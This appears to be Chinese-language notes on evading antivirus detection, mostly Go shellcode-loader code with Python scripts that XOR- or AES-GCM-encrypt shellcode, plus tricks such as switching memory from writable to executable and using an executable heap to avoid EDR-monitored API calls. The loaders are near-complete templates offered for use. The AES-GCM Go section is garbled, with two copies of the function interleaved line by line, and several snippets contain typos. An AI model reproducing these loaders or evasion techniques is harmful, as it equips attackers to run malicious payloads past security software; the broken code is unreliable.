从EXE开始
编译参数
不同的编译参数,编译出来的文件体积是不同的,同样免杀效果也是不同的,所以针对一款从未测试的杀软,实际上我们应该最好先测试不同编译参数的效果
如果有个编译参数,杀软是无条件杀的,那写什么代码都没有效果
签名
资源
文件熵值
正常文件在4.8-7.2之间
编译环境
- 在虚拟机中编译
- 在linux中交叉编译
从代码出发
针对查杀,最需要的还是从代码出发
package main
import (
"syscall"
"unsafe"
)
func main() {
// 1. 加载 kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// RtlMoveMemory 由 ntdll.dll 导出,单独加载 ntdll
ntdll := syscall.MustLoadDLL("ntdll.dll")
// 2. 从对应 DLL 句柄中获取所需 Windows API 地址
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
RtlMoveMemory := ntdll.MustFindProc("RtlMoveMemory")
CreateThread := kernel32.MustFindProc("CreateThread")
WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
CloseHandle := kernel32.MustFindProc("CloseHandle") // 显式获取 CloseHandle API 地址
// 3. Go 中定义保存 shellcode 的字节切片 (此处替换为实际 shellcode 字节)
byteSlice := []byte{
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
// ... 填充完整的 Shellcode 数组
}
// 4. 申请内存区域
// MEM_COMMIT (0x1000) | MEM_RESERVE (0x2000) = 0x3000
// PAGE_EXECUTE_READWRITE = 0x40
addr, _, _ := VirtualAlloc.Call(
0,
uintptr(len(byteSlice)),
0x3000,
0x40,
)
if addr == 0 {
return
}
// 5. 将 Shellcode 复制到申请的动态内存中
RtlMoveMemory.Call(
addr,
uintptr(unsafe.Pointer(&byteSlice[0])),
uintptr(len(byteSlice)),
)
// 6. 创建线程执行 Shellcode
thread, _, _ := CreateThread.Call(
0,
0,
addr,
0,
0,
0,
)
if thread == 0 {
return
}
// 7. 等待线程执行结束,避免主进程提前挂起/退出
// INFINITE = 0xFFFFFFFF
WaitForSingleObject.Call(thread, 0xFFFFFFFF)
// 8. 释放创建的线程内核对象句柄
CloseHandle.Call(thread)
}
包处理
调用Windows api的包
import(
"syscall"
"unsafe"
)
其中syscall这个内置包是帮助我们调用Windows api的,能否使用其他包
golang.org/x/sys/windows
示例代码
package main
import "golang.org/x/sys/windows"
func main(){
}
使用懒加载
// 1. 加载 kernel32.dll
kernel32 := syscall.NewLazyDLL("kernel32.dll")
// RtlMoveMemory 由 ntdll.dll 导出,单独加载 ntdll
ntdll := syscall.NewLazyDLL("ntdll.dll")
// 2. 从对应 DLL 句柄中获取所需 Windows API 地址
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
RtlMoveMemory := ntdll.NewProc("RtlMoveMemory")
CreateThread := kernel32.NewProc("CreateThread")
WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
CloseHandle := kernel32.NewProc("CloseHandle") // 显式获取 CloseHandle API 地址
shellcode的处理
异或处理
python生成加密shellcode:
def xorProcess(data, key):
if len(key) == 0:
return data
kl = len(key)
# 多字节 key 轮转异或,与 Go 端 xorProcess 逻辑一一对应
return [data[i] ^ key[i % kl] for i in range(len(data))]
def main():
key = [0x20, 0x99, 0xaf, 0x5c, 0x7e] # 多字节 key,需与 Go 端完全一致
data = [...] # shellcode 信息
crypto = xorProcess(data, key)
print(crypto)
if __name__ == '__main__':
main()
go处理解密模块:
package main
import (
"bytes"
"fmt"
"syscall"
"unsafe"
)
// xorProcess 实现对数据流的对称异或变换
func xorProcess(data []byte, key []byte) []byte {
if len(key) == 0 {
return data
}
result := make([]byte, len(data))
keyLen := len(key)
for i := 0; i < len(data); i++ {
result[i] = data[i] ^ key[i%keyLen]
}
return result
}
func main() {
// Raw Payload 示例
rawShellcode := []byte{0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5}
key := []byte{0x20, 0x99, 0xaf, 0x5c, 0x7e} // 建议增加 Key 长度以提高混淆熵值
// 执行解密
decryptedPayload := xorProcess(rawShellcode, key)
// 加载 Windows 系统 DLL 句柄
kernel32 := syscall.MustLoadDLL("kernel32.dll")
ntdll := syscall.MustLoadDLL("ntdll.dll")
// 解析必要 API
virtualAlloc := kernel32.MustFindProc("VirtualAlloc")
virtualProtect := kernel32.MustFindProc("VirtualProtect")
rtlMoveMemory := ntdll.MustFindProc("RtlMoveMemory")
createThread := kernel32.MustFindProc("CreateThread")
waitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
closeHandle := kernel32.MustFindProc("CloseHandle")
payloadLen := uintptr(len(decryptedPayload))
// 1. 优先申请 PAGE_READWRITE (0x04) 权限内存,规避 RWX 静态检测规则
addr, _, err := virtualAlloc.Call(
0,
payloadLen,
0x3000, // MEM_COMMIT (0x1000) | MEM_RESERVE (0x2000)
0x04, // PAGE_READWRITE
)
if addr == 0 {
fmt.Printf("[-] VirtualAlloc 失败: %v\n", err)
return
}
// 2. 将数据拷贝至 RW 内存区域
rtlMoveMemory.Call(
addr,
uintptr(unsafe.Pointer(&decryptedPayload[0])),
payloadLen,
)
// 3. 将内存权限更改为 PAGE_EXECUTE_READ (0x20),消除写权限以满足 W^X 安全规范
var oldProtect uint32
success, _, errProtect := virtualProtect.Call(
addr,
payloadLen,
0x20, // PAGE_EXECUTE_READ
uintptr(unsafe.Pointer(&oldProtect)),
)
if success == 0 {
fmt.Printf("[-] VirtualProtect 权限切换失败: %v\n", errProtect)
return
}
// 4. 创建线程执行
threadHandle, _, _ := createThread.Call(
0,
0,
addr,
0,
0,
0,
)
if threadHandle == 0 {
return
}
// 5. 等待线程同步并回收句柄
waitForSingleObject.Call(threadHandle, 0xFFFFFFFF) // INFINITE
closeHandle.Call(threadHandle)
}
aes-gcm加解密
python加密
import os
import base64
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
def encrypt_gcm(plaintext: bytes, key: bytes, associated_data: bytes = None) -> str:
"""
使用 AES-GCM 加密明文
:param plaintext: 待加密的明文字节流
:param key: 加密密钥,必须为 16 (AES-128)、24 (AES-192) 或 32 (AES-256) 字节
:param associated_data: 附加认证数据 (AAD),参与认证但不加密,可选
:return: Base64 编码后的密文串(包含 12 字节 Nonce + 密文 + 16 字节 Tag)
"""
aesgcm = AESGCM(key)
# 推荐的 GCM 模式 Nonce (IV) 长度为 12 字节 (96-bit)
# 必须保证相同的 key 下 Nonce 绝对不重复,因此使用加密安全的随机数生成器
nonce = os.urandom(12)
# encrypt 方法会自动将 16 字节的 Tag 拼接在密文末尾:ciphertext + tag
ciphertext = aesgcm.encrypt(nonce, plaintext, associated_data)
# 将 nonce 与 (ciphertext+tag) 组合,方便传输与存储
payload = nonce + ciphertext
return base64.b64encode(payload).decode('utf-8')
def main():
# 生成 256 位 (32 字节) 的随机密钥
key = AESGCM.generate_key(bit_length=256)
plaintext = b"Sensitive payload for Python AES-GCM encryption."
aad = b"Header: Protocol v1.0" # 可选的附加认证数据,例如报文头
print(f"原始明文: {plaintext.decode()}")
cipher_b64 = encrypt_gcm(plaintext, key, associated_data=aad)
print(f"GCM 加密结果 (Base64): {cipher_b64}")
if __name__ == "__main__":
main()go处理解密模块
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"errors"
"fmt"
"syscall"
"unsafe"
)
// DecryptGCM 使用 AES-GCM 算法解密密文
func DecryptGCM(cryptoText string, key []byte, aad []byte) ([]byte, error) {
ciphertext, err := base64.StdEncoding.DecodeString(cryptoText)
if err != nil {
return nil, fmt.Errorf("Base64 解码失败: %w", err)
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, fmt.Errorf("创建 cipher 结构失败: %w", err)
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return nil, fmt.Errorf("创建 GCM 模式失败: %w", err)
}
nonceSize := gcm.NonceSize()
if len(ciphertext) < nonceSize {
return nil, errors.New("密文数据长度不足")
}
// 从密文中提取前缀 Nonce 与实际的密文段
nonce, cipherData := ciphertext[:nonceSize], ciphertext[nonceSize:]
// Open 验证 Tag 并解密数据,如果数据被篡改,此处将直接报错
plaintext, err := gcm.Open(nil, nonce, cipherData, aad)
if err != nil {
return nil, fmt.Errorf("解密认证失败(数据可能被篡改): %w", err)
}
return plaintext, nil
}
func main() {
// AES-256 需要 32 字节密钥;与 Python 端 generate_key(256) 对应
key := []byte("12345678901234567890123456789012") // 32 字节
// AAD 必须与 Python 端 encrypt_gcm(..., associated_data=...) 完全一致,否则认证失败
aad := []byte("Header: Protocol v1.0")
// cipherText 为 Python encrypt_gcm() 输出的 Base64 字符串(12B Nonce + 密文 + 16B Tag)
cipherText := "REPLACE_WITH_PYTHON_OUTPUT_BASE64"
// 1. 解密得到明文 shellcode
shellcode, err := DecryptGCM(cipherText, key, aad)
if err != nil {
fmt.Printf("[-] 解密失败: %v\n", err)
return
}
// 2. 加载 Windows 系统 DLL 句柄
kernel32 := syscall.MustLoadDLL("kernel32.dll")
ntdll := syscall.MustLoadDLL("ntdll.dll")
// 3. 解析必要 API
virtualAlloc := kernel32.MustFindProc("VirtualAlloc")
virtualProtect := kernel32.MustFindProc("VirtualProtect")
rtlMoveMemory := ntdll.MustFindProc("RtlMoveMemory")
createThread := kernel32.MustFindProc("CreateThread")
waitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
closeHandle := kernel32.MustFindProc("CloseHandle")
payloadLen := uintptr(len(shellcode))
// 4. 优先申请 PAGE_READWRITE (0x04) 权限内存,规避 RWX 静态检测规则
addr, _, errAlloc := virtualAlloc.Call(
0,
payloadLen,
0x3000, // MEM_COMMIT (0x1000) | MEM_RESERVE (0x2000)
0x04, // PAGE_READWRITE
)
if addr == 0 {
fmt.Printf("[-] VirtualAlloc 失败: %v\n", errAlloc)
return
}
// 2. 加载 Windows 系统 DLL 句柄
// 5. 将 shellcode 拷贝至 RW 内存区域
kernel32 := syscall.MustLoadDLL("kernel32.dll")
rtlMoveMemory.Call(
ntdll := syscall.MustLoadDLL("ntdll.dll")
addr,
uintptr(unsafe.Pointer(&shellcode[0])),
// 3. 解析必要 API
payloadLen,
virtualAlloc := kernel32.MustFindProc("VirtualAlloc")
)
virtualProtect := kernel32.MustFindProc("VirtualProtect")
rtlMoveMemory := ntdll.MustFindProc("RtlMoveMemory")
// 6. 将内存权限更改为 PAGE_EXECUTE_READ (0x20),消除写权限以满足 W^X 安全规范
createThread := kernel32.MustFindProc("CreateThread")
var oldProtect uint32
waitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
success, _, errProtect := virtualProtect.Call(
closeHandle := kernel32.MustFindProc("CloseHandle")
addr,
payloadLen,
payloadLen := uintptr(len(shellcode))
0x20, // PAGE_EXECUTE_READ
uintptr(unsafe.Pointer(&oldProtect)),
// 4. 优先申请 PAGE_READWRITE (0x04) 权限内存,规避 RWX 静态检测规则
)
addr, _, errAlloc := virtualAlloc.Call(
if success == 0 {
0,
fmt.Printf("[-] VirtualProtect 权限切换失败: %v\n", errProtect)
payloadLen,
return
0x3000, // MEM_COMMIT (0x1000) | MEM_RESERVE (0x2000)
}
0x04, // PAGE_READWRITE
)
// 7. 创建线程执行 shellcode
if addr == 0 {
threadHandle, _, _ := createThread.Call(0, 0, addr, 0, 0, 0)
fmt.Printf("[-] VirtualAlloc 失败: %v\n", errAlloc)
if threadHandle == 0 {
return
}
// 5. 将 shellcode 拷贝至 RW 内存区域
// 8. 等待线程同步并回收句柄
rtlMoveMemory.Call(
waitForSingleObject.Call(threadHandle, 0xFFFFFFFF) // INFINITE
addr,
closeHandle.Call(threadHandle)
uintptr(unsafe.Pointer(&shellcode[0])),
payloadLen,
)
// 6. 将内存权限更改为 PAGE_EXECUTE_READ (0x20),消除写权限以满足 W^X 安全规范
var oldProtect uint32
success, _, errProtect := virtualProtect.Call(
addr,
payloadLen,
0x20, // PAGE_EXECUTE_READ
uintptr(unsafe.Pointer(&oldProtect)),
)
if success == 0 {
fmt.Printf("[-] VirtualProtect 权限切换失败: %v\n", errProtect)
return
}
// 7. 创建线程执行 shellcode
threadHandle, _, _ := createThread.Call(0, 0, addr, 0, 0, 0)
if threadHandle == 0 {
return
}
// 8. 等待线程同步并回收句柄
waitForSingleObject.Call(threadHandle, 0xFFFFFFFF) // INFINITE
closeHandle.Call(threadHandle)
}申请内存
使用的函数上的操作
除了VirtualAlloc,还可以使用HeapAlloc,以及AllocADsMem
virtualAlloc.Call(
0,
payloadLen,
0x3000, // MEM_COMMIT (0x1000) | MEM_RESERVE (0x2000)
0x04, // PAGE_READWRITE
)
这行代码调用了VirtualAlloc函数来在进程的虚拟地址中分配地址内存。
addr,_,err:=HeapCreate.Call(uintptr(0x00040000),0,0)
HeapAlloc.Call(heapAddr,0,uintptr(len(sc)))
addrPtr:=addr
HeapCreate函数:由kernel32.dll导出,用于创建一个私有的堆对象,进程随后可通过HeapAlloc从该堆中分配内存。函数原型为HANDLE HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize)。其中flOptions指定堆的属性,示例中取值0x00040000 (HEAP_CREATE_ENABLE_EXECUTE)表示堆内分配的内存带有可执行权限——这是这套技术的关键,使后续申请到的内存天然可执行,无需再调用VirtualProtect切换权限。dwInitialSize为初始提交大小(传 0 由系统决定),dwMaximumSize为堆上限(传 0 表示可动态扩展)。返回值为新堆句柄,失败返回 0。需注意:使用本标志前要确认免杀场景确实需要堆上可执行内存,因为可执行堆本身也是部分 EDR 的启发式特征。HeapAlloc函数:由kernel32.dll导出,用于从HeapCreate创建(或GetProcessHeap获取)的堆中分配一块内存。函数原型为LPVOID HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)。hHeap为HeapCreate返回的堆句柄,dwFlags为分配控制标志(传 0 表示默认,还可取0x00000001 HEAP_NO_SERIALIZE跳过锁开销或0x00000008 HEAP_ZERO_MEMORY将内存清零),dwBytes为所需字节数。返回值为分配到的内存起始地址,失败返回NULL。由于堆在创建时启用了HEAP_CREATE_ENABLE_EXECUTE,此处分配的内存可直接写入并执行 shellcode,从而规避对VirtualAlloc+VirtualProtect这一被重点监控组合的调用。
内存分配类型
virtualAlloc是Windows操作系统中用于在进程的虚拟地址空间中分配或预留内存的函数,这个函数的调用通常需要指定几个参数,包括分配的起始地址、大小、分配类型以及页面保护选项
VirtualAlloc(0,uintptr(len(sc)),0x1000|0x2000,0x04)
VirtualAlloc(0,uintptr(len(sc)),0x1000,0x04)
属性上的操作
申请可读写0x04→直接申请可读可写可执行0x40
add,_,_:=VirtualAlloc(0,uintptr(len(sc)),0x1000|0x2000,0x04)
oldProtect:=0x04
VirtualProtect.Call(addr,uintptr(len(sc)),0x40,unintptr(unsafe.Pointer(&oldProtect)))
申请可读写0x04→直接申请可读可执行0x20,sgn编码0x40
add,_,_:=VirtualAlloc(0,uintptr(len(sc)),0x1000|0x2000,0x04)
oldProtect:=0x04
VirtualProtect.Call(addr,uintptr(len(sc)),0x20,unintptr(unsafe.Pointer(&oldProtect)))
申请可读写0x04→直接申请可读可执行0x20,sgn编码0x40→直接申请可读可写可执行0x40
add,_,_:=VirtualAlloc(0,uintptr(len(sc)),0x1000|0x2000,0x04)
oldProtect:=0x04
VirtualProtect.Call(addr,uintptr(len(sc)),0x20,unintptr(unsafe.Pointer(&oldProtect)))
oldProtect1:=0x20
VirtualProtect.Call(addr,uintptr(len(sc)),0x40,unintptr(unsafe.Pointer(&oldProtect1)))
复制shellcode
rtlCopyMemory := ntdll.MustFindProc("RtlCopyMemory") //只支持64位
rtlMoveMemory := ntdll.MustFindProc("RtlMoveMemory") //支持32位和64位
//更改内存复制代码
copy(())
运行方法
详见4 加载器的编写